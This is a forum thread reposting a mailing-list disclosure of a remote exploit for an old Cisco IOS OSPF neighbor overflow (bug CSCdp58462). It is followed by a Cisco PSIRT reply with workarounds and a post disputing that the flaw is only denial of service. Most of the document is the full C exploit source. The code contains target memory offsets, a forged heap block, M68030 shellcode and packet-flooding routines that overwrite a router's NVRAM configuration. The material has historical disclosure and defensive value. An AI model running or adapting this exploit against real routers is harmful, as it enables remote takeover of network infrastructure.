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    Cisco IOS OSPF exploit
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    Cisco IOS OSPF exploit

    --bp/iNruPH9dso1Pn
    Content-Type: text/plain; charset=us-ascii
    Content-Disposition: inline

    Hi there,

    attached you may find the exploit for the Cisco IOS bug ID CSCdp58462. The bug
    is long fixed, so if you still run OSPF on a old version of IOS, now is a good
    time to give your routers some attention.

    FX

    --
    FX <fx@phenoelit.de>
    Phenoelit (http://www.phenoelit.de)
    672D 64B2 DE42 FCF7 8A5E E43B C0C1 A242 6D63 B564

    --bp/iNruPH9dso1Pn
    Content-Type: text/plain; charset=us-ascii
    Content-Disposition: attachment; filename="OoopSPF.c"


    /* Cisco IOS IO memory exploit prove of concept
    * by FX of Phenoelit <fx@phenoelit.de>
    * http://www.phenoelit.de
    *
    * For:
    * 19C3 Chaos Communication Congress 2002 / Berlin
    * BlackHat Briefings Seattle 2003
    *
    * Cisco IOS 11.2.x to 12.0.x OSPF neighbor overflow
    * Cisco Bug CSCdp58462 causes more than 255 OSPF neighbors to overflow a IO memory
    * structure (small buffer header). The attached program is a PoC to exploit
    * this vulnerability by executing "shell code" on the router and write the
    * attached configuration into NVRAM to basicaly own the router.
    *
    * Example:
    * linux# gcc -o OoopSPF OoopSPF.c
    * linux# ./OoopSPF -s 172.16.0.0 -n 255.255.0.0 -d 172.16.1.4 \
    * -f ./small.config -t 0 -a 1.2.3.4 -vv
    *
    * You can see if it worked if a) the router does not crash and b) the output of
    * "show mem io" looks like this:
    * E40E38 264 E40D04 E40F6C 1 31632D8 *Packet Data*
    * E40F6C 264 E40E38 E410A0 1 31632D8 *Packet Data*
    * E410A0 264 E40F6C E411D4 1 31632D8 *Packet Data*
    * E411D4 1830400 E410A0 0 0 0 E411F8 808A8B8C [PHENOELIT]
    *
    * Exploit has to be "triggered". In LAB environment, go to the router and say
    * box# conf t
    * box(config)# buffers small perm 0
    *
    * Greets go to the Phenoelit members, the usual suspects Halvar, Johnny Cyberpunk,
    * Svoern, Scusi, Pandzilla, and Dizzy, to the #phenoelit people,
    * Gaus of PSIRT, Nico of Securite.org and Dan Kaminsky.
    *
    * $Id: OoopSPF.c,v 1.4 2003/02/20 16:38:30 root Exp root $
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <errno.h>
    #include <time.h>

    #include <sys/ioctl.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <fcntl.h>

    #define IPTTL 0x80
    #define BLABLA "Phenoelit OoopSPF\n" \
    " Cisco IOS OSPF remote exploit (11.2.-12.0)\n" \
    " (C) 2002/2003 - FX of Phenoelit <fx@phenoelit.de>\n"
    #define IPPROTO_OSPF 0x59
    #define IP_ADDR_LEN 4
    typedef struct {
    u_int8_t ihl:4, /* header length */
    version:4; /* version */
    u_int8_t tos; /* type of service */
    u_int16_t tot_len; /* total length */
    u_int16_t id; /* identification */
    u_int16_t off; /* fragment offset field */
    u_int8_t ttl; /* time to live */
    u_int8_t protocol; /* protocol */
    u_int16_t check; /* checksum */
    struct in_addr saddr;
    struct in_addr daddr; /* source and dest address */
    } iphdr_t;

    typedef struct {
    u_int8_t version __attribute__ ((packed));
    u_int8_t type __attribute__ ((packed));
    u_int16_t length __attribute__ ((packed));
    u_int8_t source[4] __attribute__ ((packed));
    u_int8_t area[4] __attribute__ ((packed));
    u_int16_t checksum __attribute__ ((packed));
    u_int16_t authtype __attribute__ ((packed));
    u_int8_t authdata[8] __attribute__ ((packed));
    } ospf_header_t;

    typedef struct {
    u_int8_t netmask[4] __attribute__ ((packed));
    u_int16_t hello_interval __attribute__ ((packed));
    u_int8_t options __attribute__ ((packed));
    u_int8_t priority __attribute__ ((packed));
    u_int8_t dead_interval[4] __attribute__ ((packed));
    u_int8_t designated[4] __attribute__ ((packed));
    u_int8_t backup[4] __attribute__ ((packed));
    } ospf_hello_t;


    //
    // Target definitions
    //

    typedef struct {
    char *description;
    int n_neig;
    int data_start;
    u_int32_t blockbegin;
    u_int32_t prev;
    u_int32_t nop_sleet;
    u_int32_t stack_address;
    u_int32_t iomem_end;
    } targets_t;

    targets_t targets[] = {
    { // #0 Phenoelit labs 2503
    "2503, 11.3(11b) IP only [c2500-i-l.113-11b.bin], 14336K/2048K (working)",
    256, // # of neighbor announcements
    0xe5, // data start
    0xE411D4, // block begin
    0xE410B4, // PREV
    6, // nop_sleet after FAKE BLOCK
    0x079B48, // Check heaps stack PC
    0x00FFFFFF // IO mem end
    },
    { // #1 Phenoelit labs 2501
    "2501, 11.3(11a) IP only [c2500-i-l.113-11a.bin], 14336K/2048K (working)",
    256, // # of neighbor announcements
    0xe5, // data start
    0x00E31EA4, // block begin
    0x00E31D84, // PREV
    6, // nop_sleet after FAKE BLOCK
    0x00079918, // Check heaps stack PC (using IOStack.pl)
    0x00FFFFFF // IO mem end
    }
    };

    #define TARGETS (sizeof(targets)/sizeof(targets_t)-1)

    //
    // NVRAM header structure
    //

    typedef struct {
    u_int16_t magic __attribute__((packed));
    u_int16_t one __attribute__((packed));
    u_int16_t checksum __attribute__((packed));
    u_int16_t IOSver __attribute__((packed));
    u_int32_t unknown __attribute__((packed));
    u_int32_t ptr __attribute__((packed));
    u_int32_t size __attribute__((packed));
    } nvheader_t;

    //
    // FAKE BLOCK definitions
    //

    typedef struct {
    u_int32_t redzone __attribute__((packed));
    u_int32_t magic __attribute__((packed));
    u_int32_t pid __attribute__((packed));
    u_int32_t proc __attribute__((packed));
    u_int32_t name __attribute__((packed));
    u_int32_t pc __attribute__((packed));
    u_int32_t next __attribute__((packed));
    u_int32_t prev __attribute__((packed));
    u_int32_t size __attribute__((packed));
    u_int32_t refcnt __attribute__((packed));
    u_int32_t pad1 __attribute__((packed));
    u_int32_t freemagic __attribute__((packed));
    u_int32_t lastdealloc __attribute__((packed));
    u_int32_t pad2 __attribute__((packed));
    u_int32_t pad3 __attribute__((packed));
    u_int32_t free_next __attribute__((packed));
    u_int32_t free_prev __attribute__((packed));
    } block_t;

    char fakeblock[] =
    "\xFD\x01\x10\xDF" // RED
    "\xAB\x12\x34\xCD" // MAGIC
    "\xFF\xFF\xFF\xFF" // PID
    "\x80\x81\x82\x83" // PROC
    "\x00\xE4\x12\x00" // NAME (Message)
    "\x80\x8a\x8b\x8c" // PC
    "\x00\x00\x00\x00" // NEXT (no following block)
    "\x00\xE4\x10\xB4" // PREV (correct for 0xE411d4)
    "\x00\x0D\xF7\x02" // Size CORRECT for 0xE411D4
    "\x00\x00\x00\x00" // Reference count
    "\x00\x00\x00\x00" // PADDING
    "\xDE\xAD\xBE\xEF" // FREE MAGIC
    "[PHE" // last delocator
    "NOEL" // PADDING
    "IT]\x00" // PADDING
    "\x00\xE4\x12\x20" // FREE NEXT in our block
    "\x00\x07\x9B\x48" // FREE PREV (Check heaps stack PC)
    ;
    block_t *bpatch = (block_t*)fakeblock;

    //
    // Cisco code for M68030 CPU and 2500 NVRAM layout
    //
    char ccode[] =
    "\x46\xFC\x27\x00" //movew #9984,%sr (0x00E41220)
    "\x43\xFA\x00\x48" //lea %pc@(4e <config>),%a1 (0x00E41224)
    "\x24\x7C\x02\x00\x00\x06" //moveal #33554438,%a2 (0x00E41228)
    "\xB3\x81" //eorl %d1,%d1 (0x00E4122E)
    "\x74\x01" //moveq #1,%d2 (0x00E41230)
    "\x22\x3C\x01\x01\x01\x01" //movel #16843009,%d1 (0x00E41232)
    "\x14\xD9" //moveb %a1@+,%a2@+ (0x00E41238)
    "\x32\x3C\xFF\xFF" //movew #-1,%d1 (0x00E4123A)
    "\x93\x42" //subxw %d2,%d1 (0x00E4123E)
    "\x6B\x00\xFF\xFC" //bmiw 1e <write_delay> (0x00E41240)
    "\x0C\x91\xCA\xFE\xF0\x0D" //cmpil #-889262067,%a1@ (0x00E41244)
    "\x66\x00\xFF\xEC" //bnew 18 <copy_config> (0x00E4124A)
    "\x14\xFC\x00\x00" //moveb #0,%a2@+ (0x00E4124E)
    "\x32\x3C\xFF\xFF" //movew #-1,%d1 (0x00E41252)
    "\x93\x42" //subxw %d2,%d1 (0x00E41256)
    "\x6B\x00\xFF\xFC" //bmiw 36 <write_delay2> (0x00E41258)
    "\xB5\xFC\x02\x00\x07\x00" //cmpal #33556224,%a2 (0x00E4125C)
    "\x6D\x00\xFF\xEA" //bltw 2e <delete_config> (0x00E41262)
    "\x22\x7C\x03\x00\x00\x60" //moveal #50331744,%a1 (0x00E41266)
    "\x4E\xD1" //jmp %a1@ (0x00E4126C)

    ;

    char terminator[] = "\xCA\xFE\xF0\x0D";
    char nop[] = "\x4E\x71";

    //
    // Global variables to pass the current buffer location to the
    // OSPF packet generator function
    //
    int payloadc=0;
    char *payload=NULL;
    // packet counter (global)
    unsigned int pc=0;


    //
    // Configuration
    //
    struct {
    int verbose;
    char *device;
    struct in_addr *target;
    u_int32_t src_net;
    u_int32_t src_mask;
    u_int32_t area;
    int directed;
    int test_only;

    // fake block constants
    int n_neig;
    int data_start;
    u_int32_t blockbegin;
    u_int32_t prev;
    u_int32_t nop_sleet;
    u_int32_t stack_address;
    u_int32_t iomem_end;

    // other stuff
    char *filename;
    int target_sel;
    } cfg;


    u_char *construct_ospf(struct in_addr *dd, struct in_addr *src,
    u_int16_t autosys, int *psize);
    int init_socket_IP4(int broadcast);
    int sendpack_IP4(int sfd, u_char *packet,int plength);
    u_int16_t chksum(u_char *data, unsigned long count);
    void *smalloc(size_t size);
    void hexdump(unsigned char *bp, unsigned int length);
    void usage(char *s);

    int main(int argc, char **argv) {
    char option;
    extern char *optarg;
    int sfd;

    unsigned int i=0;
    u_int32_t countip=20;

    /* confg file */
    int fd;
    struct stat sb;

    u_char *buffer;
    u_char *p;
    nvheader_t *nvh;
    unsigned int len;
    u_int16_t cs1;

    // final overflow
    char *overflow;
    int osize=0;


    printf(BLABLA);

    memset(&cfg,0,sizeof(cfg));
    while ((option=getopt(argc,argv,"vDTd:s:n:L:F:f:t:S:a:") )!=EOF) {
    switch (option) {
    case 'v': cfg.verbose++;
    break;
    case 'D': cfg.directed++;
    break;
    case 'T': cfg.test_only++;
    break;
    case 'd': cfg.target=(struct in_addr *)smalloc(sizeof(struct in_addr));
    if (inet_aton(optarg,cfg.target)==0) {
    fprintf(stderr,"Your destination is bullshit\n");
    return (1);
    }
    break;
    case 's': if (inet_aton(optarg,(struct in_addr*)&(cfg.src_net))==0) {
    fprintf(stderr,"Your source net is wrong\n");
    return (1);
    }
    break;
    case 'n': if (inet_aton(optarg,(struct in_addr*)&(cfg.src_mask))==0) {
    fprintf(stderr,"Your source mask is wrong\n");
    return (1);
    }
    break;
    case 'L': cfg.n_neig=(unsigned int)strtoul(optarg,(char **)NULL,10);
    break;
    case 'F': cfg.data_start=(unsigned int)strtoul(optarg,(char **)NULL,16);
    break;
    case 'f': cfg.filename=(char *)smalloc(strlen(optarg)+1);
    strcpy(cfg.filename,optarg);
    break;
    case 't': cfg.target_sel=(unsigned int)strtoul(optarg,(char **)NULL,10);
    if (cfg.target_sel>TARGETS) {
    fprintf(stderr,"Target number unknown\n");
    return (1);
    }
    break;
    case 'S': cfg.nop_sleet=(unsigned int)strtoul(optarg,(char **)NULL,10);
    break;
    case 'a': if (inet_aton(optarg,(struct in_addr*)&(cfg.area))==0) {
    fprintf(stderr,"Your area doesn't make sense.\n");
    return (1);
    }
    break;
    default: usage(argv[0]);
    }
    }

    if (cfg.target_sel>TARGETS) {
    fprintf(stderr,"Error: user too stupid (check -t)\n");
    return (-1);
    }
    if (cfg.n_neig==0) cfg.n_neig=targets[cfg.target_sel].n_neig;
    if (cfg.data_start==0) cfg.data_start=targets[cfg.target_sel].data_start;
    if (cfg.blockbegin==0) cfg.blockbegin=targets[cfg.target_sel].blockbegin;
    if (cfg.prev==0) cfg.prev=targets[cfg.target_sel].prev;
    if (cfg.nop_sleet==0) cfg.nop_sleet=targets[cfg.target_sel].nop_sleet;
    if (cfg.stack_address==0) cfg.stack_address=targets[cfg.target_sel].stack_address;
    if (cfg.iomem_end==0) cfg.iomem_end=targets[cfg.target_sel].iomem_end;

    //
    // Check the parameters and set up a socket
    //
    cfg.src_net=cfg.src_net&cfg.src_mask;

    if ( (cfg.src_net==0)||(cfg.src_mask==0)
    ||(cfg.filename==NULL)||(cfg.target==NULL)) {
    usage(argv[0]);
    }

    if ((sfd=init_socket_IP4(1))<1) {
    fprintf(stderr,"Could not get a socket for you\n");
    return (-1);
    }

    //
    // Get some info back to the user if he requested verbose
    //
    if (cfg.verbose) {
    if (cfg.directed)
    printf("\twith unicast target %s\n",inet_ntoa(*cfg.target));
    else
    printf("\twith default destination addresses\n");
    printf("\twith source network %s/",
    inet_ntoa(*(struct in_addr*)&(cfg.src_net)));
    printf("%s\n",inet_ntoa(*(struct in_addr*)&(cfg.src_mask)));
    printf("Using Target: %s\n",targets[cfg.target_sel].description);
    printf( "\t# of neighbors: %u\n"
    "\tdata start : %u\n"
    "\tBlock address : 0x%08X\n"
    "\tPREV pointer : 0x%08X\n"
    "\tNOP sleet : %u\n"
    "\tStack address : 0x%08X\n"
    "\tIO Memory end : 0x%08X\n",
    cfg.n_neig,cfg.data_start,cfg.blockbegin,cfg.prev,
    cfg.nop_sleet,cfg.stack_address,cfg.iomem_end);
    }

    //
    // Patch the fake block with the new values
    //
    bpatch->prev=htonl(cfg.prev);
    bpatch->size=htonl(
    (cfg.iomem_end
    -39 // minus block header in bytes - 1
    -cfg.blockbegin) / 2);
    bpatch->free_next=htonl(cfg.blockbegin+sizeof(fakeblock )-5/* RED ZONE */
    +((sizeof(nop)-1)*cfg.nop_sleet));
    bpatch->free_prev=htonl(cfg.stack_address);
    bpatch->name=htonl(cfg.blockbegin+44);

    /*
    * Load Config
    * - load into buffer
    * - prepare NVRAM header
    * - calculate checksum
    * -> *buffer contains payload
    */
    if (cfg.filename==NULL) return (-1);
    if (stat(cfg.filename,&sb)!=0) {
    fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
    return (-1);
    }

    if ((fd=open(cfg.filename,O_RDONLY))<0) {
    fprintf(stderr,"Could not open() file %s\n",cfg.filename);
    return (-1);
    }

    len=sb.st_size;
    if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
    fprintf(stderr,"Malloc() failed\n");
    return (-1);
    }
    memset(buffer,0,len+sizeof(nvheader_t)+10);

    p=buffer+sizeof(nvheader_t);
    if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
    close(fd);

    // pad config so it is word bound for the 0xcafef00d test
    if ((len%2)!=0) {
    strcat(p,"\x0A");
    len++;
    if (cfg.verbose) printf("Padding config by one\n");
    }

    nvh=(nvheader_t *)buffer;
    nvh->magic=htons(0xABCD);
    nvh->one=htons(0x0001); // is always one
    nvh->IOSver=htons(0x0B03); // IOS version
    nvh->unknown=htonl(0x00000014); // something, 0x14 just works
    nvh->ptr=htonl(0x000D199F); // config end ptr
    nvh->size=htonl(len);

    cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
    if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
    nvh->checksum=cs1;

    //
    // Put the overflow together
    //
    // (1) calculate size of the whole thing
    osize=sizeof(fakeblock)-1+
    (cfg.nop_sleet * (sizeof(nop)-1))+
    sizeof(ccode)-1+
    sizeof(nvheader_t)+
    len+
    sizeof(terminator)-1;
    if ((osize/4)>cfg.data_start) {
    fprintf(stderr,"ERROR: The whole thing is too large!\n");
    return (-1);
    } else {
    printf("Using %u out of %u bytes (overflow: %u bytes)\n",
    osize,cfg.data_start*4,cfg.n_neig*4);
    }
    //
    // adjust osize ot be 4byte bound
    //
    if ((osize%4!=0)) osize+=osize%4;
    overflow=smalloc(osize);

    //
    // (2) copy the fakeblock in the buffer
    //
    memcpy(overflow,fakeblock,sizeof(fakeblock)-1);
    p=(void *)overflow+sizeof(fakeblock)-1;

    //
    // (3) Add NOPs to the buffer
    //
    for (i=0;i<cfg.nop_sleet;i++) {
    memcpy(p,nop,sizeof(nop)-1);
    p+=sizeof(nop)-1;
    }

    //
    // (4) Add the ccode
    //
    memcpy(p,ccode,sizeof(ccode)-1);
    p+=sizeof(ccode)-1;

    //
    // (5) Add the NVRAM structure and config
    //
    memcpy(p,buffer,len+sizeof(nvheader_t));
    p+=len+sizeof(nvheader_t);

    //
    // (6) finish off with terminator
    //
    memcpy(p,terminator,sizeof(terminator)-1);

    if (cfg.verbose>1) hexdump(overflow,osize);
    if (cfg.test_only) return (0);

    payload=overflow+(osize-4);
    payloadc=osize;

    // *************************
    // PERFORM THE OVERFLOW
    // *************************
    for (i=0;i<cfg.n_neig;i++) {
    u_char *pack;
    int plen;
    u_int32_t uip;

    OwnHostException:
    countip++;
    uip=htonl(countip);
    uip=uip&(~cfg.src_mask);
    uip=uip|cfg.src_net;

    if (!memcmp(&uip,cfg.target,IP_ADDR_LEN)) {
    if (cfg.verbose>2)
    printf("-- Skipping %s\n",inet_ntoa(*(cfg.target)));
    else {
    printf("*"); fflush(stdout);
    }
    goto OwnHostException;
    }

    if (cfg.verbose>2)
    printf("\tsending from %15s... ",inet_ntoa(*(struct in_addr*)&(uip)));
    else {
    printf("."); fflush(stdout);
    }

    // Make and send OSPF
    pack=construct_ospf(cfg.target,
    (struct in_addr *)&uip,0,&plen);
    sendpack_IP4(sfd,pack,plen);
    free(pack);

    if (cfg.verbose>2) printf("\n");
    usleep(1);
    }

    close(sfd);
    printf("\n");

    return 0;
    }

    u_char *construct_ospf(struct in_addr *dd, struct in_addr *src,
    u_int16_t autosys, int *psize) {
    u_char *tpacket;
    iphdr_t *iph;
    u_int16_t cs; /* checksum */
    char all_ospf[]="224.0.0.5";
    ospf_header_t *ospfh;
    ospf_hello_t *ohelo;

    *psize=sizeof(iphdr_t)+sizeof(ospf_header_t)+sizeo f(ospf_hello_t);
    tpacket=(u_char *)smalloc(*psize
    +3 /* for my checksum function, which sometimes
    steps over the mark */
    );

    // IP packet
    iph=(iphdr_t *)tpacket;

    iph->version=4;
    iph->ihl=sizeof(iphdr_t)/4;

    iph->tot_len=htons(*psize);
    iph->ttl=IPTTL;
    iph->protocol=IPPROTO_OSPF;

    memcpy(&(iph->saddr.s_addr),&(src->s_addr),IP_ADDR_LEN);
    if (!cfg.directed)
    inet_aton(all_ospf,(struct in_addr *)&(iph->daddr));
    else
    memcpy(&(iph->daddr.s_addr),&(dd->s_addr),IP_ADDR_LEN);

    // OSPF header
    ospfh=(ospf_header_t *)((void *)tpacket+sizeof(iphdr_t));
    ohelo=(ospf_hello_t *)((void *)tpacket+sizeof(iphdr_t)+sizeof(ospf_header_t));
    ospfh->version=2;
    ospfh->type=1;
    ospfh->length=htons(sizeof(ospf_header_t)+sizeof(ospf_he llo_t));
    memcpy(&(ospfh->area),&(cfg.area),4);

    // Increment the packets sent
    pc++;

    //
    // If we are in the range of the whole overflow thingy, copy the appropriate
    // 4 bytes into the source address in the OSPF header
    //
    if ( (pc <= cfg.data_start) &&
    (pc > cfg.data_start-(payloadc/4) ) ) {
    memcpy(&(ospfh->source),payload,IP_ADDR_LEN);
    payload-=4;
    }
    //
    // well, we are not in there, so we set it to some value
    //
    else {
    ospfh->source[0]=0xCA;
    ospfh->source[1]=0xFE;
    ospfh->source[2]=0xBA;
    ospfh->source[3]=0xBE;
    }

    // be verbose
    if (cfg.verbose>2) printf(" [0x%08X] ",ntohl(*((unsigned int*)&(ospfh->source))));

    // compile the rest of the packet
    memcpy(&(ohelo->netmask),&(cfg.src_mask),4);
    ohelo->hello_interval=htons(10);
    ohelo->options=0x2;
    ohelo->priority=2;
    ohelo->dead_interval[3]=40;
    memcpy(&(ohelo->designated),&(src->s_addr),IP_ADDR_LEN);

    cs=chksum((u_char *)ospfh,sizeof(ospf_header_t)+sizeof(ospf_hello_t) );
    ospfh->checksum=cs;

    return tpacket;
    }

    // Dirty stuff from IRPAS
    int init_socket_IP4(int broadcast) {
    int sfd;
    int t=1;

    if ((sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
    perror("socket()");
    return(-1);
    }

    /* make a broadcast enabled socket if desired */
    if (broadcast) {
    if (setsockopt(
    sfd,SOL_SOCKET,SO_BROADCAST,
    (void *)&t,sizeof(int)) != 0) {
    perror("setsockopt");
    return (-1);
    }
    }
    return sfd;
    }

    int sendpack_IP4(int sfd, u_char *packet,int plength) {
    struct sockaddr_in sin;
    iphdr_t *iph;

    iph=(iphdr_t *)packet;

    memset(&sin,0,sizeof(struct sockaddr_in));
    sin.sin_family=AF_INET;
    sin.sin_port=htons(0);
    memcpy(&(sin.sin_addr),&(iph->daddr),sizeof(sin.sin_addr));

    if (sendto(sfd,packet,plength,0,
    (struct sockaddr *) &sin,
    sizeof(struct sockaddr_in)) <=0) {
    perror("sendto()");
    return(-1);
    }

    return 0;
    }


    u_int16_t chksum(u_char *data, unsigned long count) {
    u_int32_t sum = 0;
    u_int16_t *wrd;

    wrd=(u_int16_t *)data;
    while( count > 1 ) {
    sum = sum + *wrd;
    wrd++;
    count -= 2;
    }

    if( count > 0 ) sum = sum + ((*wrd &0xFF)<<8);
    while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
    return (~sum);
    }

    void *smalloc(size_t size) {
    void *p;

    if ((p=malloc(size))==NULL) {
    fprintf(stderr,"smalloc(): malloc failed\n");
    exit (-2);
    }
    memset(p,0,size);
    return p;
    }


    // /dirty



    /* A better version of hdump, from Lamont Granquist. Modified slightly
    * by Fyodor (fyodor@DHP.com)
    * obviously stolen by FX from nmap (util.c)*/
    void hexdump(unsigned char *bp, unsigned int length) {

    /* stolen from tcpdump, then kludged extensively */

    static const char asciify[] = "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~................. .................................................. ..........................
    ....................................";

    register const u_short *sp;
    register const u_char *ap;
    register u_int i, j;
    register int nshorts, nshorts2;
    register int padding;

    printf("\n\t");
    padding = 0;
    sp = (u_short *)bp;
    ap = (u_char *)bp;
    nshorts = (u_int) length / sizeof(u_short);
    nshorts2 = (u_int) length / sizeof(u_short);
    i = 0;
    j = 0;
    while(1) {
    while (--nshorts >= 0) {
    printf(" %04x", ntohs(*sp));
    sp++;
    if ((++i % 8) == 0)
    break;
    }
    if (nshorts < 0) {
    if ((length & 1) && (((i-1) % 8) != 0)) {
    printf(" %02x ", *(u_char *)sp);
    padding++;
    }
    nshorts = (8 - (nshorts2 - nshorts));
    while(--nshorts >= 0) {
    printf(" ");
    }
    if (!padding) printf(" ");
    }
    printf(" ");

    while (--nshorts2 >= 0) {
    printf("%c%c", asciify[*ap], asciify[*(ap+1)]);
    ap += 2;
    if ((++j % 8) == 0) {
    printf("\n\t");
    break;
    }
    }
    if (nshorts2 < 0) {
    if ((length & 1) && (((j-1) % 8) != 0)) {
    printf("%c", asciify[*ap]);
    }
    break;
    }
    }
    if ((length & 1) && (((i-1) % 8) == 0)) {
    printf(" %02x", *(u_char *)sp);
    printf(" %c", asciify[*ap]);
    }
    printf("\n");
    }

    void usage(char *s) {
    int i;

    fprintf(stderr,"Usage: \n"
    "%s -s <src net> -n <src mask> -d <target rtr ip> -f <file>"
    " -t <targ#>\n"
    "Options:\n"
    "-s <src net> Use this network as source (as in target config)\n"
    "-n <src mask> Use this netmask as source (as in target config)\n"
    "-d <target> This is the target router interface IP\n"
    "-f <file> Use this as the new config for the router\n"
    "-t # Use this target value set (see below)\n"
    "-a <area> Use this OSPF area\n"
    "-v Be verbose (-vv or -vvv recommended)\n"
    "-D Directed attack (unicast) for 11.x targets\n"
    "-T Test only - don't send\n"
    " --- barely used options ---\n"
    "-L # Number of neighbors to announce (overflow size)\n"
    "-F # Start of data (seen reverse to overflow)\n"
    "-S # NOP sleet\n"
    "\n"
    "Known targets:\n"
    ,s);

    for (i=0;i<=TARGETS;i++)
    fprintf(stderr,"\t%s\n",targets[i].description);

    exit (1);
    }

    --bp/iNruPH9dso1Pn--

  2. #2
    Mike Caudill
    Cisco IOS OSPF exploit
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Cisco IOS OSPF exploit

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1



    Cisco can confirm the statement made by FX from Phenoelit in his message
    "Cisco IOS OSPF exploit" posted on 2003-Feb-20. The OSPF implementation in
    certain Cisco IOS versions is vulnerable to a denial of service if it
    receives a flood of neighbor announcements in which more than 255 hosts
    try to establish a neighbor relationship per interface.


    One workaround for this issue is to configure OSPF MD5 authentication.
    This may be done per interface or per area.

    Another possible workaround is to apply inbound access lists to explicitly
    allow certain OSPF neighbors only:

    access-list 100 permit ospf host a.b.c.x host 224.0.0.5
    access-list 100 permit ospf host a.b.c.x host interface_ip
    access-list 100 permit ospf host a.b.c.y host 224.0.0.5
    access-list 100 permit ospf host a.b.c.y host interface_ip
    access-list 100 permit ospf host a.b.c.z host 224.0.0.5
    access-list 100 permit ospf host a.b.c.z host interface_ip
    access-list 100 permit ospf any host 224.0.0.6
    access-list 100 deny ospf any any
    access-list 100 permit ip any any


    Cisco IOS Versions 11.1 - 12.0 are subject to this vulnerability.
    This bug has been resolved. The following versions of Cisco IOS software
    are the first fixed releases, meaning that any subsequent releases also
    contain the fix:

    12.0(19)S
    12.0(19)ST

    12.1(1)
    12.1(1)DB
    12.1(1)DC
    12.1(1)T


    We would like to thank FX for his continued cooperation with us in the
    spirit of responsible disclosure and working to increase awareness of
    security issues.

    For information on working with the Cisco PSIRT regarding potential security
    issues, please see our contact information at

    http://www.cisco.com/warp/public/707...shtml#Problems

    Thank you,

    - -Mike-


    > Hi there,
    >
    > attached you may find the exploit for the Cisco IOS bug ID CSCdp58462. The bug
    > is long fixed, so if you still run OSPF on a old version of IOS, now is a good
    > time to give your routers some attention.
    >
    > FX
    >
    > --
    > FX <fx@phenoelit.de>
    > Phenoelit (http://www.phenoelit.de)
    > 672D 64B2 DE42 FCF7 8A5E E43B C0C1 A242 6D63 B564
    >
    > /* Cisco IOS IO memory exploit prove of concept
    > * by FX of Phenoelit <fx@phenoelit.de>
    > * http://www.phenoelit.de
    > *
    > * For:
    > * 19C3 Chaos Communication Congress 2002 / Berlin
    > * BlackHat Briefings Seattle 2003
    > *
    > * Cisco IOS 11.2.x to 12.0.x OSPF neighbor overflow
    > * Cisco Bug CSCdp58462 causes more than 255 OSPF neighbors to overflow a IO memory
    > * structure (small buffer header). The attached program is a PoC to exploit
    > * this vulnerability by executing "shell code" on the router and write the
    > * attached configuration into NVRAM to basicaly own the router.
    > *


    - --
    - ----------------------------------------------------------------------------
    | || || | Mike Caudill | mcaudill@cisco.com |
    | || || | PSIRT Incident Manager | 919.392.2855 |
    | |||| |||| | DSS PGP: 0xEBBD5271 | 919.522.4931 (cell)|
    | ..:||||||:..:||||||:.. | RSA PGP: 0xF482F607 ---------------------|
    | C i s c o S y s t e m s | http://www.cisco.com/go/psirt |
    - ----------------------------------------------------------------------------

    -----BEGIN PGP SIGNATURE-----
    Version: PGP 6.5.2

    iQA/AwUBPlaoLYpjyUnrvVJxEQLcZgCgxAkatIdM5EjV4uMcDgJqd/aFx9EAoPbm
    Sw0/fZvhc3uuv0NnuBwfSWnw
    =McnI
    -----END PGP SIGNATURE-----

  3. #3
    KF
    Cisco IOS OSPF exploit
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Cisco IOS OSPF exploit

    I am currious to what part of executing shellcode intails a denial of
    service... I think that is a bit of down play... remote code execution
    is not a DOS...denial of service could however be a side effect of a bad
    offset in an exploit.

    Alot of vendors make this sort of downplay on issues that could allow
    remote code execution... they simply call it a DOS. For example the
    Squid proxy "ftp DOS"... the exploit I saw caused a bit more than denial
    of service.

    how does "basicaly own the router" become ... "is vulnerable to a denial
    of service if..."

    ---- snipet -----

    The attached program is a PoC to exploit
    * this vulnerability by executing "shell code" on the router and write
    the
    * attached configuration into NVRAM to basicaly own the router.

    -KF


    Mike Caudill wrote:
    > -----BEGIN PGP SIGNED MESSAGE-----
    > Hash: SHA1
    >
    >
    >
    > Cisco can confirm the statement made by FX from Phenoelit in his message
    > "Cisco IOS OSPF exploit" posted on 2003-Feb-20. The OSPF implementation in
    > certain Cisco IOS versions is vulnerable to a denial of service if it
    > receives a flood of neighbor announcements in which more than 255 hosts
    > try to establish a neighbor relationship per interface.
    >
    >
    > One workaround for this issue is to configure OSPF MD5 authentication.
    > This may be done per interface or per area.
    >
    > Another possible workaround is to apply inbound access lists to explicitly
    > allow certain OSPF neighbors only:
    >
    > access-list 100 permit ospf host a.b.c.x host 224.0.0.5
    > access-list 100 permit ospf host a.b.c.x host interface_ip
    > access-list 100 permit ospf host a.b.c.y host 224.0.0.5
    > access-list 100 permit ospf host a.b.c.y host interface_ip
    > access-list 100 permit ospf host a.b.c.z host 224.0.0.5
    > access-list 100 permit ospf host a.b.c.z host interface_ip
    > access-list 100 permit ospf any host 224.0.0.6
    > access-list 100 deny ospf any any
    > access-list 100 permit ip any any
    >
    >
    > Cisco IOS Versions 11.1 - 12.0 are subject to this vulnerability.
    > This bug has been resolved. The following versions of Cisco IOS software
    > are the first fixed releases, meaning that any subsequent releases also
    > contain the fix:
    >
    > 12.0(19)S
    > 12.0(19)ST
    >
    > 12.1(1)
    > 12.1(1)DB
    > 12.1(1)DC
    > 12.1(1)T
    >
    >
    > We would like to thank FX for his continued cooperation with us in the
    > spirit of responsible disclosure and working to increase awareness of
    > security issues.
    >
    > For information on working with the Cisco PSIRT regarding potential security
    > issues, please see our contact information at
    >
    > http://www.cisco.com/warp/public/707...shtml#Problems
    >
    > Thank you,
    >
    > - -Mike-
    >
    >
    >
    >>Hi there,
